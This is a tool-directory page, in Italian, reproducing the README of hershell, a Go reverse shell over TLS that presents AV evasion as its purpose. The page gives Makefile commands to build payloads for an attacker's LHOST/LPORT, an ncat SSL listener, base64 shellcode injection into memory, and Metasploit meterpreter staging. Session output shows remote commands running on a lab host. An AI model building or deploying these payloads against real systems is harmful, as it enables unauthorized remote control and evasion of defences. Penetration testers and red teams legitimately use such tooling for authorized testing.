Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
hershell — Hershell è un semplice reverse shell TCP scritto in Go. | Kitploit
Strumenti/GitHubGitHub/sysdream/hershell
Generazione di PayloadExploitShellcodePost-ExploitPenetration TestingCommand and ControlRed TeamingStrumento di Accesso Remoto
GitHubsysdream/hershell

hershell

Hershell è un semplice reverse shell TCP scritto in Go.

Vedi Repository
529867 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Hershell

NOTA: il progetto è stato forkato su questo repository, controlla lì per eventuali altri sviluppi.

Hershell è una semplice reverse shell TCP scritta in Go.

Utilizza TLS per proteggere le comunicazioni e fornisce una funzionalità di pinning dell'impronta digitale della chiave pubblica del certificato, prevenendo l'intercettazione del traffico.

I sistemi operativi supportati sono:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD e derivati

Perché ?

Sebbene i payload meterpreter siano fantastici, a volte vengono individuati dai prodotti AV.

L'obiettivo di questo progetto è ottenere una semplice reverse shell che funzioni su sistemi multipli.

Come ?

Poiché è scritto in Go, puoi cross-compilare il sorgente per l'architettura desiderata.

Per iniziare e dipendenze

Trattandosi di un progetto Go, dovrai seguire la documentazione ufficiale per configurare il tuo ambiente Golang (con la variabile d'ambiente $GOPATH).

Poi, esegui go get github.com/sysdream/hershell per recuperare il progetto.

Costruzione del payload

Per semplificare le cose, puoi usare il Makefile fornito. Puoi impostare le seguenti variabili d'ambiente:

  • GOOS : il sistema operativo target
  • GOARCH : l'architettura target
  • LHOST : l'IP o il nome di dominio dell'attaccante
  • LPORT : la porta del listener

Per le variabili GOOS e GOARCH, puoi ottenere i valori consentiti qui.

Tuttavia, alcuni target di supporto sono disponibili nel Makefile:

  • depends : genera il certificato del server (necessario per la reverse shell)
  • windows32 : crea un eseguibile Windows a 32 bit (PE 32 bit)
  • windows64 : crea un eseguibile Windows a 64 bit (PE 64 bit)
  • linux32 : crea un eseguibile Linux a 32 bit (ELF 32 bit)
  • linux64 : crea un eseguibile Linux a 64 bit (ELF 64 bit)
  • macos32 : crea un eseguibile Mac OS a 32 bit (Mach-O)
  • macos64 : crea un eseguibile Mac OS a 64 bit (Mach-O)

Per questi target, devi solo impostare le variabili d'ambiente LHOST e LPORT.

Utilizzo della shell

Una volta eseguito, ti verrà fornita una shell remota. Questa shell interattiva personalizzata ti permetterà di eseguire comandi di sistema tramite cmd.exe su Windows o /bin/sh su macchine UNIX.

I seguenti comandi speciali sono supportati:

  • run_shell : ti fornisce una shell di sistema (permettendoti, ad esempio, di cambiare directory)
  • inject <base64 shellcode> : inietta uno shellcode (codificato in base64) nella memoria dello stesso processo e lo esegue (solo Windows al momento).
  • meterpreter [tcp|http|https] IP:PORT : si connette a un multi/handler per ottenere un meterpreter stage2 reverse tcp, http o https da metasploit ed esegue lo shellcode in memoria (solo Windows al momento)
  • exit : esce correttamente

Utilizzo

Prima di tutto, dovrai generare un certificato valido:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Per Windows:

root@kitploit:~
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Per Linux:

root@kitploit:~
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Per Mac OS X

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

Esempi

Utilizzo di base

Si possono usare vari strumenti per gestire le connessioni in entrata, come:

  • socat
  • ncat
  • modulo server openssl
  • metasploit multi handler (con un payload python/shell_reverse_tcp_ssl)

Ecco un esempio con ncat:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Staging di Meterpreter

ATTENZIONE: al momento funziona solo per la piattaforma Windows.

Lo staging di meterpreter supporta attualmente i seguenti payload:

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

Per utilizzare quello corretto, specifica il trasporto che vuoi usare (tcp, http, https)

Per utilizzare la funzionalità di staging di meterpreter, avvia il tuo handler:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Poi, in hershell, usa il comando meterpreter:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

Una nuova sessione meterpreter dovrebbe apparire in msfconsole:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Crediti

Ronan Kervella <r.kervella -at- sysdream -dot- com>

Scarica lo strumento